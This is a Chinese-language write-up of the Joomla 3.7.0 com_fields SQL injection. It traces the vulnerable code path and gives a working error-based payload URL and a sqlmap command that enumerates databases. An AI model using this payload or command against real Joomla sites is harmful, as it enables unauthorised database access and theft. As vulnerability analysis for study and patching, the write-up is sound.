Joomla3.7.0 Core SQL注入

关于Joomla

Joomla!是一套全球知名的内容管理系统。Joomla!是使用PHP语言加上MySQL数据库所开发的软件系统,可以在Linux、 Windows、MacOSX等各种不同的平台上执行。

影响版本

Joomla! 3.7.0 Core

漏洞复现

payload:/joomla/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(1,database()),1)
Joomla在3.7.0版本中新增加了一个com_fields组件,由于审计能力不是很强只能跟着payload走看一下他的触发机制,option=fields表示选取这个组件,在components/com_fields/controller.php中,当view=fields&layout=modal时会去调用administratorcom_fields

接着传入list[fullordering]administrator/components/com_fields/models/fields.php中有这段代码:

list.fullordering的值通过$this->getState传给listOrdering,当listOrdering不为空时使用$db->escape处理后传入$query->order,跟进escape函数:

只是进行了一个mysql_real_escape_string对单双引号等字符进行转义,那么只要list.fullordering可控就可以注入。
在对listOrdering进行传参时调用了getState的方法,根据一层一层的继承关系,在/libraries/legacy/model/legacy.php找到了该方法:

这里调用了一次populateState的方法,根据规则,调用的应该为当前即FieldsModelFields子类的populateState

这里又调用了一次父类的populateState那么再跟进到父类在/libraries/legacy/model/list.php在父类的populateState方法中有这么一段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if ($list = $app->getUserStateFromRequest($this->context . '.list', 'list', array(), 'array'))
{
foreach ($list as $name => $value)
{
// Exclude if blacklisted
if (!in_array($name, $this->listBlacklist))
{
// Extra validations
switch ($name)
{
...
}
$this->setState('list.' . $name, $value);
}
}

通过$app->getUserStateFromRequest取一个list数组,如果不在switch的黑名单内,就对相应的值进行注册,那么我们就可以请求list参数中的变量对list.fullordering进行控制。

漏洞利用

1
sqlmap -u "http://ip/joomla/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

漏洞修复

安装补丁包

参考链接